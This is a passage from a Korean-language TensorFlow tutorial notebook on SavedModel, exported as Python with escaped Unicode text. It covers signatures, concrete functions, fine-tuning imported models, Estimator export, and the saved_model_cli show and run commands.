\ubc1b\uc544\ub4e4\uc77c \uac83\uc785\ub2c8\ub2e4\n\n# In[ ]:\n\n\nimported = tf.saved_model.load(\"/tmp/module_no_signatures\")\nassert 3. == imported(tf.constant(3.)).numpy()\nimported.mutate(tf.constant(2.))\nassert 6. == imported(tf.constant(3.)).numpy()\n\n\n# \ud568\uc218\ub294 \ubca1\ud130\uc640 \uac19\uc740 \uc0c8\ub85c\uc6b4 \ud615\uc2dd\uc744 \uc218\uc6a9\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n# \n# ```python\n# imported(tf.constant([3.]))\n# ```\n# \n# <pre>\n# ValueError: Could not find matching function to call for canonicalized inputs ((<tf.Tensor 'args_0:0' shape=(1,) dtype=float32>,), {}). Only existing signatures are [((TensorSpec(shape=(), dtype=tf.float32, name=u'x'),), {})].\n# </pre>\n\n# `get_concrete_function`\uc744 \uc0ac\uc6a9\ud574 \uc785\ub825 \ud06c\uae30\ub97c \ud568\uc218 \ud638\ucd9c \uc5c6\uc774 \ucd94\uac00\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc774 \ud568\uc218\ub294 \ub9e4\uac1c\ubcc0\uc218 \uac12\uc73c\ub85c `Tensor` \ub300\uc2e0 \uc785\ub825 \ud06c\uae30\uc640 \ub370\uc774\ud130 \ud0c0\uc785\uc744 \ub098\ud0c0\ub0b4\ub294 `tf.TensorSpec` \uac1d\uccb4\ub97c \ubc1b\uc2b5\ub2c8\ub2e4. \ud06c\uae30\uac00 `None`\uc774\uba74 \ubaa8\ub4e0 \ud06c\uae30\uac00 \uc218\uc6a9 \uac00\ub2a5\ud569\ub2c8\ub2e4. \ub610\ub294 \uac01 \ucd95\uc758 \ud06c\uae30(axis size)\ub97c \ub2f4\uc740 \ub9ac\uc2a4\ud2b8\uc77c \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4. \ucd95 \ud06c\uae30\uac00 'None'\uc774\uba74 \uadf8 \ucd95\uc5d0 \ub300\ud574 \uc784\uc758\uc758 \ud06c\uae30\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub610\ud55c `tf.TensorSpecs`\ub294 \uc774\ub984\uc744 \uac00\uc9c8 \uc218 \uc788\ub294\ub370, \uae30\ubcf8\uac12\uc740 \ud568\uc218\uc758 \ub9e4\uac1c\ubcc0\uc218 \ud0a4\uc6cc\ub4dc(\uc5ec\uae30\uc11c\ub294 \"x\")\uc785\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nmodule.__call__.get_concrete_function(x=tf.TensorSpec([None], tf.float32))\ntf.saved_model.save(module, \"/tmp/module_no_signatures\")\nimported = tf.saved_model.load(\"/tmp/module_no_signatures\")\nassert [3.] == imported(tf.constant([3.])).numpy()\n\n\n# `tf.keras.Model`\uacfc `tf.Module`\uacfc \uac19\uc740 \uac1d\uccb4\uc5d0 \ud3ec\ud568\ub41c \ud568\uc218\uc640 \ubcc0\uc218\ub294 \uac00\uc838\uc62c \ub54c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc9c0\ub9cc \ub9ce\uc740 \ud30c\uc774\uc36c\uc758 \ud0c0\uc785\uacfc \uc18d\uc131\uc740 \uc783\uc5b4\ubc84\ub9bd\ub2c8\ub2e4. \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8 \uc790\uccb4\ub294 SavedModel\uc5d0 \uc800\uc7a5\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n# \n# \ub0b4\ubcf4\ub0bc \ud568\uc218\ub97c \uc2dc\uadf8\ub2c8\ucc98\ub85c \uc9c0\uc815\ud558\uc9c0 \ubabb\ud588\uae30\uc5d0 \uc2dc\uadf8\ub2c8\ucc98\ub294 \uc5c6\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli show --dir /tmp/module_no_signatures --tag_set serve')\n\n\n# ## \ub0b4\ubcf4\ub0bc \uc2dc\uadf8\ub2c8\ucc98 \uc9c0\uc815\ud558\uae30\n# \n# \uc5b4\ub5a4 \ud568\uc218\uac00 \uc2dc\uadf8\ub2c8\ucc98\ub77c\ub294 \uac83\uc744 \ub098\ud0c0\ub0b4\ub824\uba74 \uc800\uc7a5\ud560 \ub54c `signatures` \ub9e4\uac1c\ubcc0\uc218\ub97c \uc9c0\uc815\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\ncall = module.__call__.get_concrete_function(tf.TensorSpec(None, tf.float32))\ntf.saved_model.save(module, \"/tmp/module_with_signature\", signatures=call)\n\n\n# \uba3c\uc800 `tf.function` \uac1d\uccb4\ub97c `get_concrete_function` \uba54\uc11c\ub4dc\ub97c \uc0ac\uc6a9\ud574 `ConcreteFunction` \uac1d\uccb4\ub85c \ubc14\uafb8\uc5c8\uc2b5\ub2c8\ub2e4. \uc774\uac83\uc740 \ud568\uc218\uac00 \uace0\uc815\ub41c `input_signature` \uc5c6\uc774 \ub9cc\ub4e4\uc5b4\uc9c0\uace0 \ud568\uc218\uc640 \uc5f0\uad00\ub41c \uba85\uc2dc\uc801\uc778 `Tensor` \uc785\ub825\uc774 \uc5c6\uc5c8\uc73c\ubbc0\ub85c \ud544\uc218\uc801\uc785\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli show --dir /tmp/module_with_signature --tag_set serve --signature_def serving_default')\n\n\n# In[ ]:\n\n\nimported = tf.saved_model.load(\"/tmp/module_with_signature\")\nsignature = imported.signatures[\"serving_default\"]\nassert [3.] == signature(x=tf.constant([3.]))[\"output_0\"].numpy()\nimported.mutate(tf.constant(2.))\nassert [6.] == signature(x=tf.constant([3.]))[\"output_0\"].numpy()\nassert 2. == imported.v.numpy()\n\n\n# \ud558\ub098\uc758 \uc2dc\uadf8\ub2c8\ucc98\ub97c \ub0b4\ubcf4\ub0c8\uace0 \ud0a4\ub294 \uae30\ubcf8\uac12\uc778 \"serving_default\"\uac00 \ub429\ub2c8\ub2e4. \uc5ec\ub7ec \uc2dc\uadf8\ub2c8\ucc98\ub97c \ub0b4\ubcf4\ub0b4\ub824\uba74 \ub515\uc154\ub108\ub9ac\ub85c \uc804\ub2ec\ud569\ub2c8\ub2e4.\n\n# In[ ]:\n\n\n@tf.function(input_signature=[tf.TensorSpec([], tf.string)])\ndef parse_string(string_input):\n  return imported(tf.strings.to_number(string_input))\n\nsignatures = {\"serving_default\": parse_string,\n              \"from_float\": imported.signatures[\"serving_default\"]}\n\ntf.saved_model.save(imported, \"/tmp/module_with_multiple_signatures\", signatures)\n\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli show --dir /tmp/module_with_multiple_signatures --tag_set serve')\n\n\n# `saved_model_cli`\ub294 \ucee4\ub9e8\ub4dc \ub77c\uc778\uc5d0\uc11c SavedModel\uc744 \uc9c1\uc811 \uc2e4\ud589\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nget_ipython().system('saved_model_cli run --dir /tmp/module_with_multiple_signatures --tag_set serve --signature_def serving_default --input_exprs=\"string_input=\\'3.\\'\"')\nget_ipython().system('saved_model_cli run --dir /tmp/module_with_multiple_signatures --tag_set serve --signature_def from_float --input_exprs=\"x=3.\"')\n\n\n# ## \uac00\uc838\uc628 \ubaa8\ub378 \ubbf8\uc138 \ud29c\ub2dd\ud558\uae30\n# \n# \ubcc0\uc218 \uac1d\uccb4\uac00 \uc0ac\uc6a9 \uac00\ub2a5\ud558\ubbc0\ub85c imported \ud568\uc218\ub97c \ud1b5\ud574 \uc5ed\uc804\ud30c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\noptimizer = tf.optimizers.SGD(0.05)\n\ndef train_step():\n  with tf.GradientTape() as tape:\n    loss = (10. - imported(tf.constant(2.))) ** 2\n  variables = tape.watched_variables()\n  grads = tape.gradient(loss, variables)\n  optimizer.apply_gradients(zip(grads, variables))\n  return loss\n\n\n# In[ ]:\n\n\nfor _ in range(10):\n  # \"v\"\ub294 5\ub85c \uc218\ub834, \"loss\"\ub294 0\uc73c\ub85c \uc218\ub834\n  print(\"loss={:.2f} v={:.2f}\".format(train_step(), imported.v.numpy()))\n\n\n# ## SavedModel\uc758 \uc81c\uc5b4 \ud750\ub984\n# \n# `tf.function`\uc5d0 \ub4e4\uc5b4\uac08 \uc218 \uc788\ub294 \uac83\uc740 \ubaa8\ub450 SavedModel\uc5d0 \ub4e4\uc5b4\uac08 \uc218 \uc788\uc2b5\ub2c8\ub2e4. [AutoGraph](./function.ipynb)\ub97c \uc0ac\uc6a9\ud558\uba74 Tensor\uc5d0 \uc758\uc874\ud558\ub294 \uc870\uac74\ubd80 \ub17c\ub9ac\ub97c \ud30c\uc774\uc36c \uc81c\uc5b4 \ud750\ub984\uc73c\ub85c \ud45c\ud604\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\n@tf.function(input_signature=[tf.TensorSpec([], tf.int32)])\ndef control_flow(x):\n  if x < 0:\n    tf.print(\"\uc720\ud6a8\ud558\uc9c0 \uc54a\uc74c!\")\n  else:\n    tf.print(x % 3)\n\nto_export = tf.Module()\nto_export.control_flow = control_flow\ntf.saved_model.save(to_export, \"/tmp/control_flow\")\n\n\n# In[ ]:\n\n\nimported = tf.saved_model.load(\"/tmp/control_flow\")\nimported.control_flow(tf.constant(-1))  # \uc720\ud6a8\ud558\uc9c0 \uc54a\uc74c!\nimported.control_flow(tf.constant(2))   # 2\nimported.control_flow(tf.constant(3))   # 0\n\n\n# ## \ucd94\uc815\uae30(Estimator)\uc758 SavedModel\n# \n# \ucd94\uc815\uae30\ub294 [`tf.Estimator.export_saved_model`](https://www.tensorflow.org/api_docs/python/tf/estimator/Estimator#export_saved_model)\uc744 \ud1b5\ud574 SavedModel\uc744 \ub0b4\ubcf4\ub0c5\ub2c8\ub2e4. \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 [Estimator \uac00\uc774\ub4dc](https://www.tensorflow.org/guide/estimator)\ub97c \ucc38\uc870\ud558\uc2ed\uc2dc\uc624.\n\n# In[ ]:\n\n\ninput_column = tf.feature_column.numeric_column(\"x\")\nestimator = tf.estimator.LinearClassifier(feature_columns=[input_column])\n\ndef input_fn():\n  return tf.data.Dataset.from_tensor_slices(\n    ({\"x\": [1., 2., 3., 4.]}, [1, 1, 0, 0])).repeat(200).shuffle(64).batch(16)\nestimator.train(input_fn)\n\nserving_input_fn = tf.estimator.export.build_parsing_serving_input_receiver_fn(\n  tf.feature_column.make_parse_example_spec([input_column]))\nexport_path = estimator.export_saved_model(\n  \"/tmp/from_estimator/\", serving_input_fn)\n\n\n# \uc774 SavedModel\uc740 \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc5d0 \ubc30\ud3ec\ud558\ub294 \ub370 \uc720\uc6a9\ud55c \uc9c1\ub82c\ud654\ub41c `tf.Example` \ud504\ub85c\ud1a0\ucf5c \ubc84\ud37c\ub97c \uc0ac\uc6a9\ud569\ub2c8\ub2e4. \uadf8\ub7ec\ub098 `tf.saved_model.load`\ub85c \ubd88\ub7ec\uc624\uace0 \ud30c\uc774\uc36c\uc5d0\uc11c \uc2e4\ud589\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.\n\n# In[ ]:\n\n\nimported = tf.saved_model.load(export_path)\n\ndef predict(x):\n  example = tf.train.Example()\n  example.features.feature[\"x\"].float_list.value.extend([x])\n  return imported.signatures[\"predict\"](\n    examples=tf.constant([example.SerializeToString()]))\n\n\n# In[ ]:\n\n\nprint(predict(1.5))\nprint(predict(3.5))\n\n\n# `tf.estimator.export.build_server_input_receiver_fn`\ub97c \uc0ac\uc6a9\ud574 `tf.train.Example`\uc774 \uc544\ub2cc \uc6d0\uc2dc \ud150\uc11c\ub97c \uac00\uc9c0\ub294 \uc785\ub825 \ud568\uc218\ub97c \ub9cc\ub4e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\n# ## C++\uc5d0\uc11c SavedModel \ubd88\ub7ec\uc624\uae30\n# \n# SavedModel\uc758 C++ \ubc84\uc804 [loader](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/cc/saved_model/loader.h)\ub294 SessionOptions \ubc0f RunOptions\uc744 \ud5c8\uc6a9\ud558\uba70 \uacbd\ub85c\uc5d0\uc11c SavedModel\uc744 \ubd88\ub7ec\uc624\ub294 API\ub97c \uc81c\uacf5\ud569\ub2c8\ub2e4. \ubd88\ub7ec \uc62c \uadf8\ub798\ud504\uc640 \uc5f0\uad00\ub41c \ud0dc\uadf8\ub97c \uc9c0\uc815\ud574\uc57c\ud569\ub2c8\ub2e4. \ubd88\ub7ec\uc628 SavedModel\uc758 \ubc84\uc804\uc740 SavedModelBundle\uc774\ub77c\uace0 \ud558\uba70 MetaGraphDef\uc640 \ubd88\ub7ec\uc628 \uc138\uc158\uc744 \ud3ec\ud568\ud569\ub2c8\ub2e4.\n# \n# ```C++\n# const string export_dir = ...\n# SavedModelBundle bundle;\n# ...\n# LoadSavedModel(session_options, run_options, export_dir, {kSavedModelTagTrain},\n#                &bundle);\n# ```\n\n# <a id=saved_model_cli/>\n# \n# ## SavedModel \ucee4\ub9e8\ub4dc \ub77c\uc778 \uc778\ud130\ud398\uc774\uc2a4 \uc138\ubd80 \uc0ac\ud56d\n# \n# SavedModel \ucee4\ub9e8\ub4dc \ub77c\uc778 \uc778\ud130\ud398\uc774\uc2a4(CLI)\ub97c \uc0ac\uc6a9\ud558\uc5ec SavedModel\uc744 \uac80\uc0ac\ud558\uace0 \uc2e4\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, CLI\ub97c \uc0ac\uc6a9\ud558\uc5ec \ubaa8\ub378\uc758 `SignatureDef`\ub97c \uac80\uc0ac\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# CLI\ub97c \uc0ac\uc6a9\ud558\uba74 \uc785\ub825 Tensor \ud06c\uae30 \ubc0f \ub370\uc774\ud130 \ud0c0\uc785\uc774 \ubaa8\ub378\uacfc \uc77c\uce58\ud558\ub294\uc9c0 \uc2e0\uc18d\ud558\uac8c \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \ub610\ud55c \ubaa8\ub378\uc744 \ud14c\uc2a4\ud2b8\ud558\ub824\ub294 \uacbd\uc6b0 \ub2e4\uc591\ud55c \ud615\uc2dd(\uc608\ub97c \ub4e4\uc5b4, \ud30c\uc774\uc36c \ud45c\ud604\uc2dd)\uc758 \uc0d8\ud50c \uc785\ub825\uc744\n# \uc804\ub2ec\ud558\uace0 \ucd9c\ub825\uc744 \uac00\uc838\uc640 CLI\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc815\ud655\uc131 \uac80\uc0ac\ub97c \uc218\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \n# ### SavedModel CLI \uc124\uce58\ud558\uae30\n# \n# \ub300\uccb4\ub85c \ub9d0\ud558\uc790\uba74 \ub2e4\uc74c \ub450 \uac00\uc9c0 \ubc29\ubc95 \uc911 \ud558\ub098\ub85c \ud150\uc11c\ud50c\ub85c\ub97c \uc124\uce58\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n# \n# *  \uc0ac\uc804\uc5d0 \ube4c\ub4dc\ub41c \ud150\uc11c\ud50c\ub85c \ubc14\uc774\ub108\ub9ac\ub85c \uc124\uce58\n# *  \uc18c\uc2a4 \ucf54\ub4dc\ub85c \ud150\uc11c\ud50c\ub85c \ube4c\ub4dc\n# \n# \uc0ac\uc804\uc5d0 \ube4c\ub4dc\ub41c \ud150\uc11c\ud50c\ub85c \ubc14\uc774\ub108\ub9ac\ub97c \ud1b5\ud574 \uc124\uce58\ud55c \uacbd\uc6b0 SavedModel CLI\uac00 \uc774\ubbf8 \n# \uc2dc\uc2a4\ud15c \uacbd\ub85c `bin\\saved_model_cli`\uc5d0 \uc124\uce58\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.\n# \n# \uc18c\uc2a4 \ucf54\ub4dc\uc5d0\uc11c \ud150\uc11c\ud50c\ub85c\ub97c \ube4c\ub4dc\ud558\ub294 \uacbd\uc6b0 \ub2e4\uc74c \ucd94\uac00 \uba85\ub839\uc744 \uc2e4\ud589\ud558\uc5ec `saved_model_cli`\ub97c \ube4c\ub4dc\ud574\uc57c \ud569\ub2c8\ub2e4:\n# \n# ```\n# $ bazel build tensorflow/python/tools:saved_model_cli\n# ```\n# \n# ### \uba85\ub839 \uac1c\uc694\n# \n# SavedModel CLI\ub294 SavedModel\uc758 `MetaGraphDef`\uc5d0 \ub300\ud574 \ub2e4\uc74c \ub450 \uba85\ub839\uc5b4\ub97c \uc9c0\uc6d0\ud569\ub2c8\ub2e4:\n# \n# * SavedModel\uc758 `MetaGraphDef`\uc5d0 \ub300\ud55c \uacc4\uc0b0\uc744 \ubcf4\uc5ec\uc8fc\ub294 `show`\n# * `MetaGraphDef`\uc5d0 \ub300\ud55c \uacc4\uc0b0\uc744 \uc2e4\ud589\ud558\ub294 `run`\n# \n# \n# ### `show` \uba85\ub839\uc5b4\n# \n# SavedModel\uc740 \ud0dc\uadf8 \uc138\ud2b8\ub85c \uc2dd\ubcc4\ub418\ub294 \ud558\ub098 \uc774\uc0c1\uc758 `MetaGraphDef`\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4.\n# \ubaa8\ub378\uc744 \ud150\uc11c\ud50c\ub85c \uc11c\ube59\uc5d0 \ubc30\ud3ec\ud558\ub824\uba74, \uac01 \ubaa8\ub378\uc5d0 \uc5b4\ub5a4 \uc885\ub958\uc758 `SignatureDef`\uac00 \uc788\ub294\uc9c0, \uadf8\ub9ac\uace0 \uc785\ub825\uacfc \ucd9c\ub825\uc740 \ubb34\uc5c7\uc778\uc9c0 \uad81\uae08\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# `show` \uba85\ub839\uc740 SavedModel\uc758 \ub0b4\uc6a9\uc744 \uacc4\uce35\uc801 \uc21c\uc11c\ub85c \uac80\uc0ac\ud569\ub2c8\ub2e4. \uad6c\ubb38\uc740 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4:\n# \n# ```\n# usage: saved_model_cli show [-h] --dir DIR [--all]\n# [--tag_set TAG_SET] [--signature_def SIGNATURE_DEF_KEY]\n# ```\n# \n# \uc608\ub97c \ub4e4\uc5b4, \ub2e4\uc74c \uba85\ub839\uc740 SavedModel\uc5d0\uc11c \uc0ac\uc6a9 \uac00\ub2a5\ud55c \ubaa8\ub4e0 `MetaGraphDef` \ud0dc\uadf8 \uc138\ud2b8\ub97c \ubcf4\uc5ec\uc90d\ub2c8\ub2e4:\n# \n# ```\n# $ saved_model_cli show --dir /tmp/saved_model_dir\n# The given SavedModel contains the following tag-sets:\n# serve\n# serve, gpu\n# ```\n# \n# \ub2e4\uc74c \uba85\ub839\uc740 `MetaGraphDef`\uc5d0\uc11c \uc0ac\uc6a9 \uac00\ub2a5\ud55c \ubaa8\ub4e0 `SignatureDef` \ud0a4\ub97c \ubcf4\uc5ec\uc90d\ub2c8\ub2e4:\n# \n# ```\n# $ saved_model_cli show --dir /tmp/saved_model_dir --tag_set serve\n# The given SavedModel `MetaGraphDef` contains `SignatureDefs` with the\n# following keys:\n# SignatureDef key: \"classify_x2_to_y3\"\n# SignatureDef key: \"classify_x_to_y\"\n# SignatureDef key: \"regress_x2_to_y3\"\n# SignatureDef key: \"regress_x_to_y\"\n# SignatureDef key: \"regress_x_to_y2\"\n# SignatureDef key: \"serving_default\"\n# ```\n# \n# `MetaGraphDef`\uac00 \ud0dc\uadf8 \uc138\ud2b8\uc5d0 *\uc5ec\ub7ec \uac1c\uc758* \ud0dc\uadf8\ub97c \uac00\uc9c0\uace0 \uc788\ub294 \uacbd\uc6b0, \ubaa8\ub4e0 \ud0dc\uadf8\ub97c \uc9c0\uc815\ud574\uc57c \ud558\uba70,\n# \uac01 \ud0dc\uadf8\ub294 \uc27c\ud45c\ub85c \uad6c\ubd84\ud574\uc57c \ud569\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4:\n# \n# <pre>\n# $ saved_model_cli show --dir /tmp/saved_model_dir --tag_set serve,gpu\n# </pre>\n# \n# \ud2b9\uc815 `SignatureDef`\uc5d0 \ub300\ud55c \ubaa8\ub4e0 \uc785\ub825 \ubc0f \ucd9c\ub825 \ud150\uc11c \uc815\ubcf4(TensorInfo)\ub97c \ud45c\uc2dc\ud558\ub824\uba74 `SignatureDef` \ud0a4\ub97c\n# `signature_def` \uc635\uc158\uc73c\ub85c \uc804\ub2ec\ud558\uc2ed\uc2dc\uc624. \uc774\uac83\uc740 \ub098\uc911\uc5d0 \uacc4\uc0b0 \uadf8\ub798\ud504\ub97c \uc2e4\ud589\ud558\uae30 \uc704\ud574 \uc785\ub825 \ud150\uc11c\uc758 \ud150\uc11c \ud0a4 \uac12,\n# \ud06c\uae30 \ubc0f \ub370\uc774\ud130 \ud0c0\uc785\uc744 \uc54c\uace0\uc790 \ud560 \ub54c \ub9e4\uc6b0 \uc720\uc6a9\ud569\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4:\n# \n# ```\n# $ saved_model_cli show --dir \\\n# /tmp/saved_model_dir --tag_set serve --signature_def serving_default\n# The given SavedModel SignatureDef contains the following input(s):\n#   inputs['x'] tensor_info:\n#       dtype: DT_FLOAT\n#       shape: (-1, 1)\n#       name: x:0\n# The given SavedModel SignatureDef contains the following output(s):\n#   outputs['y'] tensor_info:\n#       dtype: DT_FLOAT\n#       shape: (-1, 1)\n#       name: y:0\n# Method name is: tensorflow/serving/predict\n# ```\n# \n# SavedModel\uc5d0 \uc0ac\uc6a9 \uac00\ub2a5\ud55c \ubaa8\ub4e0 \uc815\ubcf4\ub97c \ud45c\uc2dc\ud558\ub824\uba74 `--all` \uc635\uc158\uc744 \uc0ac\uc6a9\ud558\uc2ed\uc2dc\uc624. \uc608\ub97c \ub4e4\uc5b4:\n# \n# <pre>\n# $ saved_model_cli show --dir /tmp/saved_model_dir --all\n# MetaGraphDef with tag-set: 'serve' contains the following SignatureDefs:\n# \n# signature_def['classify_x2_to_y3']:\n#   The given SavedModel SignatureDef contains the following input(s):\n#     inputs['inputs'] tensor_info:\n#         dtype: DT_FLOAT\n#         shape: (-1, 1)\n#         name: x2:0\n#   The given SavedModel SignatureDef contains the following output(s):\n#     outputs['scores'] tensor_info:\n#         dtype: DT_FLOAT\n#         shape: (-1, 1)\n#         name: y3:0\n#   Method name is: tensorflow/serving/classify\n# \n# ...\n# \n# signature_def['serving_default']:\n#   The given SavedModel SignatureDef contains the following input(s):\n#     inputs['x'] tensor_info:\n#         dtype: DT_FLOAT\n#         shape: (-1, 1)\n#         name: x:0\n#   The given SavedModel SignatureDef contains the following output(s):\n#     outputs['y'] tensor_info:\n#         dtype: DT_FLOAT\n#         shape: (-1, 1)\n#         name: y:0\n#   Method name is: tensorflow/serving/predict\n# </pre>\n# \n# \n# ### `run` \uba85\ub839\uc5b4\n# \n# `run` \uba85\ub839\uc744 \ud638\ucd9c\ud558\uc5ec \uadf8\ub798\ud504 \uacc4\uc0b0\uc744 \uc2e4\ud589\ud558\uace0, \uc785\ub825\uc744 \uc804\ub2ec\ud55c \ub2e4\uc74c \ucd9c\ub825\uc744 \ud45c\uc2dc(\ud558\uace0 \uc120\ud0dd\uc801\uc73c\ub85c \uc800\uc7a5)\ud569\ub2c8\ub2e4.\n# \uad6c\ubb38\uc740 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4:\n# \n# ```\n# usage: saved_model_cli run [-h] --dir DIR --tag_set TAG_SET --signature_def\n#                            SIGNATURE_DEF_KEY [--inputs INPUTS]\n#                            [--input_exprs INPUT_EXPRS]\n#                            [--input_examples INPUT_EXAMPLES] [--outdir OUTDIR]\n#                            [--overwrite] [--tf_debug]\n# ```\n# \n# `run` \uba85\ub839\uc740 \uc785\ub825\uc744 \ubaa8\ub378\uc5d0 \uc804\ub2ec\ud558\ub294 \ub2e4\uc74c \uc138 \uac00\uc9c0 \ubc29\ubc95\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4:\n# \n# * `--inputs` \uc635\uc158\uc744 \uc0ac\uc6a9\ud558\uc5ec \ub118\ud30c\uc774(numpy) ndarray\ub97c \ud30c\uc77c\uc5d0 \uc804\ub2ec\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# * `--input_exprs` \uc635\uc158\uc744 \uc0ac\uc6a9\ud558\uc5ec \ud30c\uc774\uc36c \ud45c\ud604\uc2dd\uc744 \uc804\ub2ec\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# * `--input_examples` \uc635\uc158\uc744 \uc0ac\uc6a9\ud558\uc5ec `tf.train.Example`\uc744 \uc804\ub2ec\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n# \n# #### `--inputs`\n# \n# \uc785\ub825 \ub370\uc774\ud130\ub97c \ud30c\uc77c\uc5d0 \uc804\ub2ec\ud558\ub824\uba74, \ub2e4\uc74c\uacfc \uac19\uc740 \uc77c\ubc18\uc801\uc778 \ud615\uc2dd\uc744 \uac00\uc9c0\ub294 `--inputs` \uc635\uc158\uc744 \uc9c0\uc815\ud569\ub2c8\ub2e4:\n# \n# ```bsh\n# --inputs <INPUTS>\n# ```\n# \n# \uc5ec\uae30\uc11c *INPUTS*\ub294 \ub2e4\uc74c \ud615\uc2dd \uc911 \ud558\ub098\uc785\ub2c8\ub2e4:\n# \n# *  `<input_key>=<filename>`\n# *  `<input_key>=<filename>[<variable_name>]`\n# \n# \uc5ec\ub7ec \uac1c\uc758 *INPUTS*\ub97c \uc804\ub2ec\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc5ec\ub7ec \uc785\ub825\uc744 \uc804\ub2ec\ud558\ub294 \uacbd\uc6b0 \uc138\ubbf8\ucf5c\ub860\uc744 \uc0ac\uc6a9\ud558\uc5ec \uac01 *INPUTS*\ub97c \uad6c\ubd84\ud558\uc2ed\uc2dc\uc624.\n# \n# `saved_model_cli`\ub294 `numpy.load`\ub97c \uc0ac\uc6a9\ud558\uc5ec *filename*\uc744 \ubd88\ub7ec\uc635\ub2c8\ub2e4.\n# *filename*\uc740 \ub2e4\uc74c \ud615\uc2dd \uc911 \ud558\ub098\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4:\n# \n# *  `.npy`\n# *  `.npz`\n# *  \ud53c\ud074(pickle) \ud3ec\ub9f7\n# \n# `.npy` \ud30c\uc77c\uc740 \ud56d\uc0c1 \ub118\ud30c\uc774 ndarray\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4. \uadf8\ub7ec\ubbc0\ub85c `.npy` \ud30c\uc77c\uc5d0\uc11c \ubd88\ub7ec\uc62c \ub54c,\n# \ubc30\uc5f4 \ub0b4\uc6a9\uc774 \uc9c0\uc815\ub41c \uc785\ub825 \ud150\uc11c\uc5d0 \uc9c1\uc811 \ud560\ub2f9\ub420 \uac83\uc785\ub2c8\ub2e4. \ud574\ub2f9 `.npy` \ud30c\uc77c\uacfc \ud568\uaed8 *variable_name*\uc744 \uc9c0\uc815\ud558\uba74\n# *variable_name*\uc774 \ubb34\uc2dc\ub418\uace0 \uacbd\uace0\uac00 \ubc1c\uc0dd\ud569\ub2c8\ub2e4.\n# \n# `.npz`(zip) \ud30c\uc77c\uc5d0\uc11c \ubd88\ub7ec\uc62c \ub54c, \uc785\ub825 \ud150\uc11c \ud0a4\ub85c \ubd88\ub7ec\uc62c zip \ud30c\uc77c \ub0b4\uc758 \ubcc0\uc218\ub97c *variable_name*\uc73c\ub85c\n# \uc120\ud0dd\uc801\uc73c\ub85c \uc9c0\uc815\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. *variable_name*\uc744 \uc9c0\uc815\ud558\uc9c0 \uc54a\uc73c\uba74 SavedModel CLI\ub294 zip \ud30c\uc77c\uc5d0 \ud558\ub098\uc758 \ud30c\uc77c\ub9cc\n# \ud3ec\ud568\ub418\uc5b4 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uace0 \uc9c0\uc815\ub41c \uc785\ub825 \ud150\uc11c \ud0a4\ub85c \ubd88\ub7ec\uc635\ub2c8\ub2e4.\n# \n# \ud53c\ud074 \ud30c\uc77c\uc5d0\uc11c \ubd88\ub7ec\uc62c \ub54c, \ub300\uad04\ud638 \uc548\uc5d0 `variable_name`\uc774 \uc9c0\uc815\ub418\uc9c0 \uc54a\uc558\ub2e4\uba74, \ud53c\ud074 \ud30c\uc77c \uc548\uc5d0 \uc788\ub294\n# \uc5b4\ub5a4 \uac83\uc774\ub77c\ub3c4 \uc9c0\uc815\ub41c \uc785\ub825 \ud150\uc11c \ud0a4\ub85c \uc804\ub2ec\ub420 \uac83\uc785\ub2c8\ub2e4. \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74, SavedModel CLI\ub294 \ud53c\ud074 \ud30c\uc77c\uc5d0\n# \ub515\uc154\ub108\ub9ac\uac00 \uc800\uc7a5\ub418\uc5b4 \uc788\ub2e4\uace0 \uac00\uc815\ud558\uace0 *variable_name*\uc5d0 \ud574\ub2f9\ud558\ub294 \uac12\uc774 \uc0ac\uc6a9\ub429\ub2c8\ub2e4.\n# \n# #### `--input_exprs`\n# \n# \ud30c\uc774\uc36c \ud45c\ud604\uc2dd\uc744 \ud1b5\ud574 \uc785\ub825\uc744 \uc804\ub2ec\ud558\ub824\uba74 `--input_exprs` \uc635\uc158\uc744 